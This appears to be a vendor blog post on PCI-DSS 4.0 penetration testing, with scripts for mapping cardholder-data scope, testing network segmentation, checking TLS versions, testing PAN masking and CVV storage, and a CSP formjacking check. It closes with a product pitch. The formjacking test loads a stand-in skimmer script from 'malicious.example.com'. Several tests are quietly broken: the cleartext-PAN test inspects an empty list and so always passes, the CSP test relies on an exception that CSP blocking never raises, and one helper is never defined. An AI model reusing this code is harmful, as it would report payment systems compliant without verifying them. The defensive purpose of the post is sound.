PCI-DSS 4.0 Penetration Testing: Scoping, Methodology, and What Assessors Actually Check

PCI-DSS 4.0 Penetration Testing: Scoping, Methodology, and What Assessors Actually Check

PCI-DSS 4.0 made penetration testing requirements significantly more specific than the previous version. Requirement 11.4 now mandates penetration testing methodology documentation, explicit segmentation testing, and application-layer testing — not just network-layer. If your last penetration test was a generic external scan with a summary report, you're probably not meeting the requirements.

This post covers what PCI-DSS 4.0 actually requires for penetration testing, how to scope the Cardholder Data Environment correctly, what segmentation testing looks like in practice, and how to test payment flows at the application layer for the vulnerabilities assessors are looking for.

What PCI-DSS 4.0 Requirement 11.4 Actually Says

The full requirement is more nuanced than most summaries suggest. Key points from PCI-DSS v4.0 Requirement 11.4:

11.4.1 — A penetration testing methodology must be defined, documented, and implemented. It must include:

  • Industry-accepted approaches (PTES, OWASP, NIST SP 800-115)
  • Coverage of the entire CDE perimeter and internal systems
  • Network-layer and application-layer testing
  • Testing from both inside and outside the network
  • Validation and remediation of exploitable vulnerabilities
  • Retention of penetration test results for at least 12 months

11.4.2 — External penetration testing must be performed at least annually and after any significant infrastructure or application changes.

11.4.3 — Internal penetration testing must be performed at least annually and after any significant changes.

11.4.4 — Exploitable vulnerabilities found must be corrected and testing repeated to verify correction.

11.4.5 — If segmentation is used to isolate the CDE, penetration testing must verify the segmentation is effective at least annually and after any changes to segmentation controls.

11.4.6 — Service providers must perform penetration testing at least every six months.

11.4.7 — Multi-tenant service providers must support customer penetration testing requests.

Scoping the Cardholder Data Environment

Getting scope wrong is the most expensive mistake in PCI-DSS compliance. Too narrow and you're not actually compliant. Too wide and you're spending three weeks testing systems that don't touch cardholder data.

The CDE includes any system that:

  • Stores, processes, or transmits Primary Account Numbers (PAN), cardholder name, service code, or expiration date
  • Connects to systems that store, process, or transmit cardholder data
  • Provides security services to CDE systems (authentication servers, log management, etc.)

Mapping Data Flows Before Scoping

#!/usr/bin/env python3
"""
CDE Scope Discovery Script
Run this to identify systems that may be in scope before a pentest.
Requires network access and appropriate credentials.
"""

import subprocess
import json
import ipaddress
from typing import Set, List, Dict

class CDEScopeMapper:
    
    def __init__(self, known_cde_systems: List[str]):
        """
        known_cde_systems: IP addresses or hostnames of systems you already
        know are in the CDE (e.g., your payment gateway, primary database)
        """
        self.cde_systems = set(known_cde_systems)
        self.scope_candidates = set()
        self.excluded_systems = set()
    
    def discover_connected_systems(self, cde_ip: str) -> Set[str]:
        """
        Find systems that have established connections to a CDE system.
        Uses ss/netstat to find active connections.
        """
        connected = set()
        
        # Check established connections from/to this system
        result = subprocess.run(
            ["ss", "-tnp", "state", "established"],
            capture_output=True, text=True
        )
        
        for line in result.stdout.split("\n")[1:]:
            parts = line.split()
            if len(parts) >= 4:
                local_addr = parts[3].rsplit(":", 1)[0]
                remote_addr = parts[4].rsplit(":", 1)[0]
                
                if local_addr == cde_ip or remote_addr == cde_ip:
                    other = remote_addr if local_addr == cde_ip else local_addr
                    connected.add(other)
        
        return connected
    
    def check_for_pan_in_logs(self, log_path: str) -> List[Dict]:
        """
        Scan log files for PAN-like patterns (16-digit numbers passing Luhn check).
        Any system whose logs contain PAN is in scope.
        """
        import re
        
        # Regex for common PAN patterns (not a complete check, add your card BIN ranges)
        pan_pattern = re.compile(r'\b(?:4[0-9]{12}(?:[0-9]{3})?|5[1-5][0-9]{14}|3[47][0-9]{13}|3(?:0[0-5]|[68][0-9])[0-9]{11}|6(?:011|5[0-9]{2})[0-9]{12})\b')
        
        findings = []
        
        try:
            with open(log_path, 'r', errors='replace') as f:
                for line_num, line in enumerate(f, 1):
                    matches = pan_pattern.findall(line)
                    for match in matches:
                        if self._luhn_check(match):
                            findings.append({
                                "file": log_path,
                                "line": line_num,
                                "pan_preview": f"{match[:6]}{'*' * (len(match)-10)}{match[-4:]}",
                                "severity": "CRITICAL",
                                "finding": "Unmasked PAN in log file"
                            })
        except PermissionError:
            pass
        
        return findings
    
    def _luhn_check(self, number: str) -> bool:
        """Validate a card number using the Luhn algorithm."""
        digits = [int(d) for d in number]
        odd_digits = digits[-1::-2]
        even_digits = digits[-2::-2]
        total = sum(odd_digits)
        for d in even_digits:
            total += sum(divmod(d * 2, 10))
        return total % 10 == 0
    
    def scan_for_cleartext_pan(self, target_hosts: List[str]) -> List[Dict]:
        """
        Scan database tables and application memory for cleartext PAN.
        This is one of the most common PCI audit findings.
        """
        findings = []
        
        # Check common database tables
        # (Adapt to your actual database schema)
        db_queries = [
            "SELECT COUNT(*) FROM orders WHERE card_number REGEXP '^[0-9]{13,19}$'",
            "SELECT COUNT(*) FROM transactions WHERE pan IS NOT NULL AND pan NOT LIKE '%XXXX%'",
            "SELECT COUNT(*) FROM payment_methods WHERE card_number REGEXP '^[0-9]{16}$'",
        ]
        
        # These would actually query your databases — pseudocode for the pattern
        for query in db_queries:
            findings.append({
                "check": "Database cleartext PAN scan",
                "query": query,
                "action": "Run against your database and investigate any non-zero counts"
            })
        
        return findings

Segmentation Testing

If you're using network segmentation to reduce PCI scope (and you should be), Requirement 11.4.5 requires you to prove the segmentation works. This is not just a firewall rule review — it's active testing to verify traffic cannot traverse the segmentation boundary.

#!/bin/bash
# PCI Segmentation Test Script
# Run from a system OUTSIDE the CDE to verify it cannot reach CDE systems
# 
# Usage: ./segmentation-test.sh <cde_ip> <cde_port> [test_name]
#
# Requirements: nmap, nc (netcat), curl

CDE_IP="${1}"
CDE_PORT="${2:-5432}"  # Default: PostgreSQL
TEST_NAME="${3:-manual-test}"
TIMESTAMP=$(date -u +"%Y-%m-%dT%H:%M:%SZ")
RESULTS_FILE="segmentation-test-${TIMESTAMP//:/}-${TEST_NAME}.json"

echo "PCI-DSS Segmentation Test"
echo "========================="
echo "Target: ${CDE_IP}:${CDE_PORT}"
echo "Timestamp: ${TIMESTAMP}"
echo "Running from: $(hostname) ($(curl -s ifconfig.me 2>/dev/null || echo 'unknown'))"
echo ""

RESULTS=()
PASS_COUNT=0
FAIL_COUNT=0

run_test() {
    local test_name="$1"
    local command="$2"
    local expected_result="$3"  # "blocked" or "open"
    
    result=$(eval "$command" 2>&1)
    exit_code=$?
    
    if [ "$expected_result" = "blocked" ]; then
        if echo "$result" | grep -qiE "filtered|closed|refused|timeout|no route"; then
            status="PASS"
            PASS_COUNT=$((PASS_COUNT + 1))
        else
            status="FAIL - SEGMENTATION BREACH"
            FAIL_COUNT=$((FAIL_COUNT + 1))
        fi
    fi
    
    echo "[$status] $test_name"
    
    RESULTS+=("{\"test\":\"$test_name\",\"status\":\"$status\",\"command\":\"$command\",\"output\":\"$(echo $result | head -c 200)\"}")
}

# Test 1: TCP connectivity to database port
run_test "TCP to CDE database port" \
    "nc -zv -w 5 ${CDE_IP} ${CDE_PORT}" \
    "blocked"

# Test 2: ICMP (ping) to CDE system
run_test "ICMP ping to CDE system" \
    "ping -c 3 -W 3 ${CDE_IP}" \
    "blocked"

# Test 3: HTTP to any web service on CDE
run_test "HTTP to CDE port 80" \
    "curl -s --connect-timeout 5 http://${CDE_IP}/" \
    "blocked"

# Test 4: HTTPS to CDE port 443
run_test "HTTPS to CDE port 443" \
    "curl -sk --connect-timeout 5 https://${CDE_IP}/" \
    "blocked"

# Test 5: Common management ports
for PORT in 22 3389 5900 8080 8443; do
    run_test "TCP to CDE port ${PORT}" \
        "nc -zv -w 5 ${CDE_IP} ${PORT}" \
        "blocked"
done

# Test 6: UDP scan for common services
run_test "UDP scan of CDE (nmap)" \
    "nmap -sU --top-ports 20 -T4 ${CDE_IP} 2>&1 | grep -v 'closed\|filtered'" \
    "blocked"

# Summary
echo ""
echo "========================="
echo "Results: ${PASS_COUNT} passed, ${FAIL_COUNT} FAILED"
echo ""

# Write JSON report
printf '%s\n' "${RESULTS[@]}" | jq -s --arg ts "$TIMESTAMP" --arg target "$CDE_IP" \
    '{timestamp: $ts, target: $target, summary: {passed: '"$PASS_COUNT"', failed: '"$FAIL_COUNT"'}, tests: .}' \
    > "$RESULTS_FILE"

echo "Full report saved to: $RESULTS_FILE"

if [ $FAIL_COUNT -gt 0 ]; then
    echo ""
    echo "CRITICAL: ${FAIL_COUNT} segmentation tests FAILED."
    echo "Systems outside the CDE can reach CDE systems."
    echo "This must be remediated before your PCI assessment."
    exit 1
fi

Application-Layer Payment Flow Testing

Network-layer penetration testing alone is insufficient for PCI-DSS 4.0. You need application-layer testing of your actual payment flows. Here's what assessors are looking for:

Testing for Cleartext PAN in Transit

import ssl
import socket
import re
import requests
from mitmproxy import http

class PaymentFlowSecurityTest:
    
    def test_pan_never_transmitted_cleartext(self, payment_endpoint: str):
        """
        Submit a test payment and verify PAN is never transmitted in cleartext.
        Requires a man-in-the-middle proxy setup (mitmproxy) for traffic inspection.
        """
        # Use a test PAN (Luhn-valid but not a real card)
        test_pan = "4111111111111111"  # Visa test card
        test_expiry = "12/25"
        test_cvv = "123"
        
        # Capture all HTTP/HTTPS traffic during the payment submission
        # This test should be run with mitmproxy intercepting traffic
        
        captured_requests = []
        
        # Submit payment
        response = requests.post(
            payment_endpoint,
            json={
                "card_number": test_pan,
                "expiry": test_expiry,
                "cvv": test_cvv,
                "amount": 100
            }
        )
        
        # Check if PAN appears in any request body (proxy logs)
        pan_pattern = re.compile(r'4111[0-9]{8}1111|4111 1111 1111 1111')
        
        for req in captured_requests:
            body = req.get("body", "")
            assert not pan_pattern.search(body), (
                f"PAN found in cleartext in request to {req['url']}. "
                f"PAN must be tokenized before transmission or transmitted only over TLS."
            )
    
    def test_tls_version_and_ciphers(self, payment_host: str, payment_port: int = 443):
        """
        PCI-DSS requires TLS 1.2 minimum (TLS 1.0 and 1.1 prohibited as of June 2018).
        Test that only acceptable TLS versions and cipher suites are negotiated.
        """
        # Test TLS 1.0 is rejected
        try:
            context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
            context.maximum_version = ssl.TLSVersion.TLSv1
            context.check_hostname = False
            context.verify_mode = ssl.CERT_NONE
            
            with socket.create_connection((payment_host, payment_port), timeout=5) as sock:
                with context.wrap_socket(sock, server_hostname=payment_host) as ssock:
                    version = ssock.version()
                    assert False, (
                        f"Server accepted TLS 1.0 connection (negotiated: {version}). "
                        f"PCI-DSS prohibits TLS 1.0 and 1.1."
                    )
        except ssl.SSLError as e:
            if "alert" in str(e).lower() or "protocol" in str(e).lower():
                pass  # Correctly rejected
            else:
                raise
        
        # Test TLS 1.1 is rejected
        try:
            context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
            context.maximum_version = ssl.TLSVersion.TLSv1_1
            context.check_hostname = False
            context.verify_mode = ssl.CERT_NONE
            
            with socket.create_connection((payment_host, payment_port), timeout=5) as sock:
                with context.wrap_socket(sock, server_hostname=payment_host) as ssock:
                    assert False, f"Server accepted TLS 1.1. PCI-DSS prohibits TLS 1.0 and 1.1."
        except ssl.SSLError:
            pass  # Correctly rejected
        
        # Test TLS 1.2 is accepted
        context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
        context.minimum_version = ssl.TLSVersion.TLSv1_2
        context.maximum_version = ssl.TLSVersion.TLSv1_2
        context.check_hostname = False
        context.verify_mode = ssl.CERT_NONE
        
        with socket.create_connection((payment_host, payment_port), timeout=5) as sock:
            with context.wrap_socket(sock, server_hostname=payment_host) as ssock:
                assert ssock.version() == "TLSv1.2", "TLS 1.2 not negotiated successfully"
    
    def test_pan_masked_in_responses(self, payment_client):
        """
        PAN must be masked in all responses — only the last 4 digits should be visible.
        Test every API endpoint that returns payment method data.
        """
        # Get list of saved payment methods
        response = payment_client.get("/api/payment-methods")
        methods = response.json()
        
        pan_pattern = re.compile(r'\b\d{12,15}(\d{4})\b')  # 12-15 digits followed by 4
        
        for method in methods:
            # Check the raw JSON for any full PAN
            method_json = json.dumps(method)
            
            # Find any digit sequences that could be PANs
            long_digit_sequences = re.findall(r'\d{13,19}', method_json)
            
            for seq in long_digit_sequences:
                if self._luhn_check(seq):
                    pytest.fail(
                        f"Full PAN found in payment method API response: "
                        f"{seq[:6]}{'*' * (len(seq) - 10)}{seq[-4:]}. "
                        f"Only the last 4 digits should be returned."
                    )
    
    def test_cvv_not_stored(self, payment_client, db_client):
        """
        CVV/CVC must never be stored — not even temporarily.
        This is one of the most common PCI assessment failures.
        """
        test_pan = "4111111111111111"
        test_cvv = "737"  # Test CVV
        
        # Submit a payment
        response = payment_client.post("/api/charges", json={
            "amount": 100,
            "card": {
                "number": test_pan,
                "exp_month": 12,
                "exp_year": 2025,
                "cvc": test_cvv
            }
        })
        
        # Search the database for the CVV value
        # (This requires DB access — adapt to your schema)
        occurrences = db_client.query(
            "SELECT table_name, column_name FROM information_schema.columns "
            "WHERE column_name ILIKE '%cvv%' OR column_name ILIKE '%cvc%' "
            "OR column_name ILIKE '%security_code%'"
        )
        
        for table_col in occurrences:
            count = db_client.query(
                f"SELECT COUNT(*) FROM {table_col['table_name']} "
                f"WHERE {table_col['column_name']} = %s",
                (test_cvv,)
            ).scalar()
            
            assert count == 0, (
                f"CVV value found in {table_col['table_name']}.{table_col['column_name']}. "
                f"CVV must never be stored after authorization."
            )

Testing for Common Payment Security Vulnerabilities

PCI-DSS 4.0 Requirement 6.2 mandates specific secure development practices. Here are the application-layer tests that assessors commonly probe:

class TestPaymentApplicationSecurity:
    
    def test_payment_form_not_vulnerable_to_formjacking(self, browser):
        """
        Formjacking (Magecart attacks) inject JavaScript to steal card data.
        Verify your CSP prevents unauthorized script injection.
        """
        # Navigate to checkout page
        browser.get("https://your-store.example.com/checkout")
        
        # Check Content-Security-Policy header
        # (Via HTTP response headers — capture with proxy)
        csp = browser.execute_script(
            "return document.querySelector('meta[http-equiv=\"Content-Security-Policy\"]')?.content"
        )
        
        # If CSP is not in a meta tag, check via HTTP headers
        if not csp:
            # Requires capturing response headers during the request
            pytest.fail("Content-Security-Policy not found. Required to prevent formjacking.")
        
        # CSP must restrict script sources
        assert "script-src" in csp, "CSP missing script-src directive"
        assert "'unsafe-inline'" not in csp or "nonce-" in csp, \
            "CSP allows unsafe-inline scripts without nonces — formjacking risk"
        assert "script-src *" not in csp, "CSP allows scripts from any source"
        
        # Test that an inline script injection is blocked
        injection_result = browser.execute_script("""
            try {
                var script = document.createElement('script');
                script.src = 'https://malicious.example.com/skimmer.js';
                document.body.appendChild(script);
                return 'INJECTED';
            } catch(e) {
                return 'BLOCKED: ' + e.message;
            }
        """)
        
        assert "BLOCKED" in str(injection_result), \
            f"Script injection not blocked by CSP. Result: {injection_result}"
    
    def test_payment_form_uses_payment_iframe_or_hosted_fields(self, browser):
        """
        Best practice (and increasingly required) is to use hosted payment fields
        or an iframe from your payment processor — so PAN never touches your DOM.
        Verify this architecture is in place.
        """
        browser.get("https://your-store.example.com/checkout")
        
        # Check for Stripe Elements, Braintree, Adyen iframe, etc.
        payment_iframes = browser.find_elements("css selector", 
            "iframe[src*='stripe.com'], iframe[src*='braintreegateway.com'], "
            "iframe[src*='adyen.com'], iframe[src*='authorize.net']"
        )
        
        # Check for a raw card number input in the main DOM
        raw_card_inputs = browser.find_elements("css selector",
            "input[name='card_number'], input[name='cardnumber'], "
            "input[name='pan'], input[autocomplete='cc-number']"
        )
        
        if len(payment_iframes) == 0:
            # If no payment iframe, there must not be a raw card input either
            # (would indicate PAN is handled in JavaScript)
            assert len(raw_card_inputs) == 0, (
                "Raw card number input found in main page DOM with no payment iframe. "
                "PAN data is being handled by your JavaScript — reduces PCI scope only with "
                "a payment processor iframe."
            )
        else:
            # Payment iframe present — verify it's from an approved source
            for iframe in payment_iframes:
                src = iframe.get_attribute("src")
                assert any(approved in src for approved in [
                    "stripe.com", "braintreegateway.com", "adyen.com", 
                    "authorize.net", "paypal.com", "square.com"
                ]), f"Payment iframe from unexpected source: {src}"

Continuous Payment Security Testing with HelpMeTest

Penetration testing is annual. But your payment flows change constantly — new checkout pages, updated JavaScript bundles, new payment methods. The gap between annual pentests is where vulnerabilities live.

HelpMeTest fills this gap with continuous payment security checks:

Test: Payment Page Security Headers
Schedule: Every 4 hours

Steps:
1. Navigate to https://your-store.com/checkout
2. Verify the page loads successfully (HTTP 200)
3. Open browser developer tools (Network tab)
4. Verify the response header "Content-Security-Policy" is present
5. Verify the response header "Strict-Transport-Security" is present with max-age >= 31536000
6. Verify the response header "X-Frame-Options" is present (or CSP frame-ancestors)
7. Verify no card number input fields exist in the main page DOM
8. Verify a Stripe or other approved payment iframe is present
9. Click on the card number field inside the payment iframe
10. Verify the field is inside an iframe (cannot be accessed from parent page JavaScript)
11. Type a test card number "4111 1111 1111 1111"
12. Verify the number appears masked after entry

At $100/month, HelpMeTest runs this 6 times a day on your checkout page. If a JavaScript bundle update accidentally removes the payment iframe and exposes a raw card input, you'll know within 4 hours — not in 11 months when your next pentest runs.

Building Your Penetration Test Evidence Package

PCI-DSS assessors want to see documentation of your penetration testing program, not just results. Here's the minimum documentation package:

# pci-pentest-methodology.yaml
# Store this in your compliance documentation repository

methodology:
  version: "2.0"
  last_updated: "2024-01-15"
  frameworks_used:
    - "PTES (Penetration Testing Execution Standard)"
    - "OWASP Web Security Testing Guide 4.2"
    - "NIST SP 800-115"
  
  scope:
    in_scope:
      - "Payment processing application (app.company.com)"
      - "Payment database cluster (10.0.1.0/24)"
      - "Payment API gateway (api.company.com/v1/payments/*)"
      - "CDE network segment (VLAN 100)"
    out_of_scope:
      - "Corporate network (VLAN 200, 10.0.2.0/24) — segmented from CDE"
      - "Employee workstations — segmentation verified separately"
    scope_rationale: "Segmentation verified per Requirement 11.4.5 (see segmentation-test-2024.json)"
  
  frequency:
    external: "Annual minimum, plus after significant changes"
    internal: "Annual minimum, plus after significant changes"
    segmentation: "Annual minimum, plus after any segmentation changes"
    service_provider_external: "Every 6 months (per Req 11.4.6)"
  
  test_types:
    network_layer:
      - "Port scanning and service enumeration"
      - "Vulnerability scanning (authenticated)"
      - "Firewall rule validation"
      - "Segmentation testing (all systems outside CDE attempted)"
    application_layer:
      - "OWASP Top 10 assessment of payment application"
      - "Authentication and session management testing"
      - "TLS configuration testing (TLS 1.0/1.1 disabled, cipher suites)"
      - "PAN handling testing (cleartext, masking, logging)"
      - "CVV storage testing"
      - "Content Security Policy / formjacking resistance"
  
  remediation:
    critical_sla: "7 days"
    high_sla: "30 days"
    medium_sla: "90 days"
    low_sla: "180 days"
    verification: "Re-test required for all critical and high findings"
  
  evidence_retention:
    period: "12 months minimum"
    location: "s3://company-pci-evidence/pentests/"
    format: "PDF report + raw tool output + segmentation test JSON"

Key Takeaways

PCI-DSS 4.0 penetration testing is not a checkbox — it's a documented, repeatable program:

  1. Scope precisely — use data flow mapping and active connection analysis to identify all CDE systems before testing.
  2. Test segmentation actively — firewall rule reviews are not sufficient; you must prove traffic cannot traverse boundaries.
  3. Go to the application layer — test TLS versions, cipher suites, CVV storage, PAN masking, and CSP headers.
  4. Document everything — methodology, scope rationale, findings, remediation timelines, and re-test results.
  5. Test after every significant change — not just annually.
  6. Fill the annual gap — use continuous testing tools like HelpMeTest to monitor payment page security between penetration tests.

The organizations that fail PCI assessments are rarely the ones that never did a pentest. They're the ones whose payment pages changed after the last pentest and nobody noticed.

Read more

Start now free